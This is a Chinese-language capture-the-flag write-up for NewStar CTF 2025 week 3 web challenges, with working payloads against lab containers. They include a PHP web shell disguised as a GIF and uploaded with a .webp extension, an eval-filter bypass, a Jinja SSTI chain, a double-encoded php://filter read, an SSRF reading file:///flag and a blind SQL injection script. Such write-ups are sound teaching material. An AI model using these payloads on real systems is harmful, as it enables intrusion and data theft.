NewStar CTF 2025 WP3 Web

Week3 Web#

mirror_gate#

打开容器，发现考察文件上传漏洞：

打开源码，发现如下提示：

1
<!-- flag is in flag.php -->
2
<!-- HINT: c29tZXRoaW5nX2lzX2luXy91cGxvYWRzLw== -->

解码后：

1
<!-- flag is in flag.php -->
2
<!-- HINT: something_is_in_/uploads/ -->

那就去扫下 /uploads/ 下有什么东西：

使用 Dirsearch：

1
python dirsearch.py -u http://192.168.42.1:26851/uploads/ -e * -x 404,403

这里扫到：/uploads/.htaccess

访问得到：

1
AddType application/x-httpd-php .webp

这道题会把 .webp 后缀的文件当作 php 文件执行

由此我们后缀的问题解决，来看文件内容：

一番试探后发现会检验文件头，这里我们假装 .gif 后缀发送请求包：

1
POST /upload.php HTTP/1.1
2

3
Host: 192.168.42.1:26851
4

5
Upgrade-Insecure-Requests: 1
6

7
Cache-Control: max-age=0
8

9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary02q70XBquIVtAIt8
10

11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
12

13
Accept-Language: zh-CN,zh;q=0.9
14

15
Origin: http://192.168.42.1:26851
16

17
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
18

19
Referer: http://192.168.42.1:26851/
20

21
Accept-Encoding: gzip, deflate
22

23
Content-Length: 328
24

25

26

27
------WebKitFormBoundary02q70XBquIVtAIt8
28

29
Content-Disposition: form-data; name="files[]"; filename="1.webp"
30

31
Content-Type: image/gif
32

33

34

35
GIF89a
36

37
<?php @eval($_POST['cmd']); ?>
38

39
------WebKitFormBoundary02q70XBquIVtAIt8
40

41
Content-Disposition: form-data; name="MAX_FILE_SIZE"
42

43

44

45
5242880
46

47
------WebKitFormBoundary02q70XBquIVtAIt8--

发现被过滤，这里尝试后发现好像 eval() 被过滤了，这里使用拼接绕过

最终 payload：

1
POST /upload.php HTTP/1.1
2

3
Host: 192.168.42.1:26851
4

5
Upgrade-Insecure-Requests: 1
6

7
Cache-Control: max-age=0
8

9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary02q70XBquIVtAIt8
10

11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
12

13
Accept-Language: zh-CN,zh;q=0.9
14

15
Origin: http://192.168.42.1:26851
16

17
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
18

19
Referer: http://192.168.42.1:26851/
20

21
Accept-Encoding: gzip, deflate
22

23
Content-Length: 328
24

25

26

27
------WebKitFormBoundary02q70XBquIVtAIt8
28

29
Content-Disposition: form-data; name="files[]"; filename="1.webp"
30

31
Content-Type: image/gif
32

33

34

35
GIF89a
36

37
<?@("ev"."al")($_POST['cmd']);?>
38

39
------WebKitFormBoundary02q70XBquIVtAIt8
40

41
Content-Disposition: form-data; name="MAX_FILE_SIZE"
42

43

44

45
5242880
46

47
------WebKitFormBoundary02q70XBquIVtAIt8--

得到上传成功的响应，这里使用中国蚁剑直接连接，拿到 flag：

flag{0fc68107-f403-0147-94de-4c34b9a09dfc}

（也可以使用 hackbar 连接，用密码+指令）

who’ssti#

这里我们先下载得到一个附件 who’ssti

其中的有效内容 app.py 内容如下：

1
from flask import Flask, jsonify, request, render_template_string, render_template
2

3
import sys, random
4

5

6

7
func_List = ["get_close_matches", "dedent", "fmean",
8

9
             "listdir", "search", "randint", "load", "sum",
10

11
             "findall", "mean", "choice"]
12

13
need_List = random.sample(func_List, 5)
14

15
need_List = dict.fromkeys(need_List, 0)
16

17
BoleanFlag = False
18

19
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
20

21
# 清除 ICQ_FLAG
22

23
__import__("os").environ["ICQ_FLAG"] = ""
24

25

26

27
def trace_calls(frame, event, arg):
28

29
  if event == 'call':
30

31
    func_name = frame.f_code.co_name
32

33
    # print(func_name)
34

35
    if func_name in need_List:
36

37
      need_List[func_name] = 1
38

39
    if all(need_List.values()):
40

41
      global BoleanFlag
42

43
      BoleanFlag = True
44

45
  return trace_calls
46

47

48

49

50
app = Flask(__name__)
51

52
@app.route('/', methods=["GET", "POST"])
53

54
def index():
55

56
  submit = request.form.get('submit')
57

58
  if submit:
59

60
    sys.settrace(trace_calls)
61

62
    print(render_template_string(submit))
63

64
    sys.settrace(None)
65

66
    if BoleanFlag:
67

68
      return jsonify({"flag": RealFlag})
69

70
    return jsonify({"status": "OK"})
71

72
  return render_template_string('''<!DOCTYPE html>
73

74
<html lang="zh-cn">
75

76
<head>
77

78
    <meta charset="UTF-8">
79

80
    <title>首页</title>
81

82
</head>
83

84
<body>
85

86
    <h1>提交你的代码，让后端看看你的厉害！</h1>
87

88
    <form action="/" method="post">
89

90
        <label for="submit">提交一下：</label>
91

92
        <input type="text" id="submit" name="submit" required>
93

94
        <button type="submit">提交</button>
95

96
    </form>
97

98
    <div style="margin-top: 20px;">
99

100
        <p> 尝试调用到这些函数！ </p>
101

102
    {% for func in funcList %}
103

104
        <p>{{ func }}</p>
105

106
    {% endfor %}
107

108
    <div style="margin-top: 20px; color: red;">
109

110
        <p> 你目前已经调用了 {{ called_funcs|length }} 个函数：</p>
111

112
        <ul>
113

114
        {% for func in called_funcs %}
115

116
            <li>{{ func }}</li>
117

118
        {% endfor %}
119

120
        </ul>
121

122
    </div>
123

124
</body>
125

126
<script>
127

128
</script>
129

130
</html>
131

132

133

134
                                '''
135

136
                                ,
137

138
                                funcList = need_List, called_funcs = [func for func, called in need_List.items() if called])
139

140

141

142
if __name__ == '__main__':
143

144
  app.run(host='0.0.0.0', port=5000, debug=False)

构造以下 payload：

1
{% set x = self.__init__.__globals__['__builtins__']['__import__'] %}{% set _ = x('difflib').get_close_matches('a', ['a']) %}{% set _ = x('textwrap').dedent('a') %}{% set _ = x('statistics').fmean([1]) %}{% set _ = x('os').listdir('.') %}{% set _ = x('re').search('a', 'a') %}{% set _ = x('random').randint(1,1) %}{% set _ = x('json').load(x('io').StringIO('{}')) %}{% set _ = [1,2]|sum %}{% set _ = x('re').findall('a', 'a') %}{% set _ = x('statistics').mean([1]) %}{% set _ = x('random').choice([1]) %}

得到 flag：

flag{66ffaa22-e8ad-0113-0ab1-6e5b2510cf33}

ez-chain#

打开容器直接贴出了源码：

1
<?php
2
header('Content-Type: text/html; charset=utf-8');
3
function filter($file) {    $waf = array('/',':','php','base64','data','zip','rar','filter','flag');
4
    foreach ($waf as $waf_word) {
5
        if (stripos($file, $waf_word) !== false) {
6
            echo "waf:".$waf_word;
7
            return false;
8
        }
9
    }
10
    return true;
11
}
12

13
function filter_output($data) {    $waf = array('f');
14
    foreach ($waf as $waf_word) {
15
        if (stripos($data, $waf_word) !== false) {
16
            echo "waf:".$waf_word;
17
            return false;
18
        }
19
    }
20
    while (true) {        $decoded = base64_decode($data, true);
21
        if ($decoded === false || $decoded === $data) {
22
            break;
23
        }        $data = $decoded;
24
    }
25
    foreach ($waf as $waf_word) {
26
        if (stripos($data, $waf_word) !== false) {
27
            echo "waf:".$waf_word;
28
            return false;
29
        }
30
    }
31
    return true;
32
}
33

34
if (isset($_GET['file'])) {    $file = $_GET['file'];
35
    if (filter($file) !== true) {
36
        die();
37
    }    $file = urldecode($file);    $data = file_get_contents($file);
38
    if (filter_output($data) !== true) {
39
        die();
40
    }
41
    echo $data;
42
}
43
highlight_file(__FILE__);
44

45
?>

这里解释下逻辑：

首先就是一个防火墙机制，会查找你传入的参数是否与其先预载入的字符串一致

stripos — 查找字符串首次出现的位置（不区分大小写）

base64_decode — 对使用 MIME base64 编码的数据进行解码

base64_decode ( string $data [, bool $strict = false ] ) : string
当设置 strict 为 TRUE 时，一旦输入的数据超出了 base64 字母表，将返回 FALSE。否则会静默丢弃无效的字符

file_get_contents — 将整个文件读入一个字符串

最终 payload：

1
/?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567

得到 flag：synt{599o7o18-nq72-0p19-o174-n79qq81s11o9}

在对其进行一次 rot13 得到 flag：

flag{599b7b18-ad72-0c19-b174-a79dd81f11b9}

MyGO!!!#

z学长又出题了

打开容器，扫视一遍源码没发现线索

使用 dirsearch 扫一遍，得到：

1
[14:45:22] 200 -  647B  - /flag.php

访问 /flag.php，得到：

1
<?php
2
$client_ip = $_SERVER['REMOTE_ADDR'];
3

4
// 只允许本地访问
5
if ($client_ip !== '127.0.0.1' && $client_ip !== '::1') {
6
    header('HTTP/1.1 403 Forbidden');
7
    echo "你是外地人，我只要\"本地\"人";
8
    exit;
9
}
10

11
highlight_file(__FILE__);
12

13
if (isset($_GET['soyorin'])) {
14
    $url = $_GET['soyorin'];
15

16
    echo "flag在根目录";
17

18
    // 普通请求
19
    $ch = curl_init($url);
20
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); // 直接输出给浏览器
21
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
22
    curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192);
23
    curl_exec($ch);
24
    curl_close($ch);
25
    exit;
26
}
27
?>

$_SERVER — 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组

REMOTE_ADDR — $_SERVER 内的一个特定索引，代表正在浏览当前页面的用户 IP 地址

127.0.0.1：是 IPv4 协议下的本地地址

::1：是 IPv6 协议下的本地地址

这里是因为赛后复现在本地启动，直接跳过伪造 127.0.0.1 就得到源码了（

最终 payload：

1
http://127.0.0.1:2685/flag.php?soyorin=file:///flag

得到 flag：

flag{31db76ff-48d5-4d2c-1ce2-ad9384542326}

小 E 的秘密计划#

打开容器，题目给的提示很明显 先找到网站备份文件，这里扫到：

1
[15:04:08] 200 -   39KB - /www.zip

访问后拿下备份文件，使用文件名（public-555edc76-9621-4997-86b9-01483a50293e）到达下一关入口：

需要登录，这里我们根据题目提示去看 git 历史记录：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git log
2
commit 5fef682d7eceba025c894af4a5f8bf4680666368 (HEAD -> master)
3
Author: admin <admin@admin.com>
4
Date:   Wed Oct 1 12:14:25 2025 +0800
5

6
    删除提示
7

8
commit 5f8ecc03aee0de892013bba7ce0522876c419b58
9
Author: admin <admin@admin.com>
10
Date:   Wed Oct 1 12:14:08 2025 +0800
11

12
    新增提示
13

14
commit 1389b4798a8013a1c90fb2d867243d0da18c5175
15
Author: admin <admin@admin.com>
16
Date:   Wed Oct 1 12:10:02 2025 +0800
17

18
    初始化

这里访问新增提示：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git show 5f8ecc03aee0de892013bba7ce0522876c419b58
2
commit 5f8ecc03aee0de892013bba7ce0522876c419b58
3
Author: admin <admin@admin.com>
4
Date:   Wed Oct 1 12:14:08 2025 +0800
5

6
    新增提示
7

8
diff --git a/tips.txt b/tips.txt
9
new file mode 100644
10
index 0000000..a7fa1d9
11
--- /dev/null
12
+++ b/tips.txt
13
@@ -0,0 +1 @@
14
+tips：什么是branch
15
\ No newline at end of file

提示 branch：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git branch
2
* master

可以看到没有分支，这里我们看看历史 git 操作：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git reflog
2
5fef682 (HEAD -> master) HEAD@{0}: commit: 删除提示
3
5f8ecc0 HEAD@{1}: commit: 新增提示
4
1389b47 HEAD@{2}: checkout: moving from test to master
5
353b98f HEAD@{3}: commit: 测试，这个branch会删
6
1389b47 HEAD@{4}: checkout: moving from master to test
7
1389b47 HEAD@{5}: commit (initial): 初始化

查看测试 branch，得到账号密码：

1
PS D:\CTF_Exercises\public-555edc76-9621-4997-86b9-01483a50293e> git show 353b98f
2
commit 353b98f7c2fe77a5a426bf73576f5113820c4669
3
Author: admin <admin@admin.com>
4
Date:   Wed Oct 1 12:11:48 2025 +0800
5

6
    测试，这个branch会删
7

8
diff --git a/user.php b/user.php
9
new file mode 100644
10
index 0000000..f3d34d7
11
--- /dev/null
12
+++ b/user.php
13
@@ -0,0 +1,8 @@
14
+<?php
15
+
16
+function getUserData() {
17
+    return [
18
+        'username' => 'admin',
19
+        'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de'
20
+    ];
21
+}
22
\ No newline at end of file

到达最后一关，提示说网站是拿 Mac 写的代码

这里我们知道 Mac 的文件管理器会在你创建、编辑文件夹的时候自动生成一个 .DS_Store 文件，该文件记录了目录结构、文件列表、图标位置、排序方式、自定义视图等元数据

这里直接访问拿到 .DS_Store 文件，尝试使用 Vscode 打开，发现是个二进制文件

这里使用专门的工具 ds_store_exp 去打开，得到：

1
PS D:\CTF_Tools\ds_store_exp-master\ds_store_exp-master> python ds_store_exp.py http://127.0.0.1:34477/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
2
[200] http://127.0.0.1:34477/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
3
[200] http://127.0.0.1:34477/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514

得到文件的路径，访问后得到 flag：

flag{e9ddf4d1-2ac7-f3a0-7919-1c76ce1c8573}、

（dirsearch 默认字典（dicc.txt）里通常不包含 .DS_Store）

白帽小 K 的故事（2）#

很明显的一道 SQL 注入题目

题目给的提示说 SELECT 1 from Terra.animal WHERE name = ‘$name’

这里是 MySQL 的一种写法： database.table 完全限定名

database — 数据库名

table — 数据库中的表名

这里我们知道了数据库名为 Terra，表名为 animal

题目还提示使用盲注：

1
from http.client import responses
2
import requests
3
import time
4

5
# ================ 配置区域 ==================
6
URL = "http://192.168.42.1:46858/search"  # 目标URL
7
PARAM = "name"                    # 注入的参数名（POST 表单字段）
8
TRUE_KEYWORD = "ok"               # 条件为真时页面返回的内容特征
9
DATABASE = "Terra"                # 目标数据库名
10
# ===========================================
11

12
# 请求头（模拟浏览器，避免被识别为机器人）
13
headers = {
14
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36",
15
    "Content-Type": "application/x-www-form-urlencoded",
16
}
17

18
# 创建会话
19
session = requests.Session()
20

21

22
def is_true(payload):
23
    """发送 POST 请求，判断注入条件是否为真"""
24
    data = {PARAM: payload}
25
    try:
26
        response = session.post(URL, data=data, headers=headers, timeout=10)
27
        return TRUE_KEYWORD in response.text
28
    except Exception as e:
29
        print(f"[!] 请求错误: {e}")
30
        return False
31

32

33
def extract_char(position, target_str):
34
    """使用二分法猜解指定位置的字符 ASCII 值"""
35
    low = 32   # 可打印字符起始
36
    high = 126 # 可打印字符结束
37
    while low <= high:
38
        mid = (low + high) // 2
39

40
        # 构造 SQL 注入 payload
41
        injection = (
42
            f"amiy'+IF((((ord(mid((Select(group_concat(flag))from(Flag.flag)),{position},1))))>({mid})),'a','1')#"
43
        )
44
        # amiy'+IF((((ord(mid((Select(group_concat(schema_name))from(infOrmation_schema.schemata)),{position},1))))>({mid})),'a','1')#
45

46
        if is_true(injection):
47
            low = mid + 1
48
        else:
49
            high = mid - 1
50

51
    return chr(low) if low <= 126 else '?'
52

53

54
def extract_table_names():
55
    """主函数：提取指定数据库中的所有表名"""
56
    # injection那一行可以修改查询哪个数据库
57
    # 其实SQL注入入门特别简单，但是你会遇到各种各样的waf，这个时候就考验你对各种数据库语法的知识和理解了
58

59
    print(f"[*] 开始盲注，目标数据库: {DATABASE}")
60
    result = ""
61
    position = 1
62

63
    while True:
64
        char = extract_char(position, DATABASE)
65

66
        # 判断是否为有效字符
67
        if ord(char) < 32 or ord(char) > 126:
68
            print(f"\n[+] 猜解结束。")
69
            break
70

71
        result += char
72
        print(f"\r[+] 当前结果: {result}", end="", flush=True)
73

74
        # 防止请求过快
75
        time.sleep(0.1)
76
        position += 1
77

78
        # 安全限制
79
        if position > 100:
80
            print("\n[!] 长度超限，停止。")
81
            break
82

83
    print(f"\n[+] 成功提取表名: {result}")
84
    return result
85

86

87
# ================ 执行 ==================
88
if __name__ == "__main__":
89
    try:
90
        extract_table_names()
91
    except KeyboardInterrupt:
92
        print("\n\n[!] 用户中断。")
93
    except Exception as e:
94
        print(f"\n[!] 发生异常: {e}")

拿到 flag：

flag{99028fce-4051-c472-9821-83260832ed9c}

音乐

Week3 Web#

mirror_gate#

who’ssti#

ez-chain#

MyGO!!!#

小 E 的秘密计划#

白帽小 K 的故事（2）#

文章分享

音乐

目录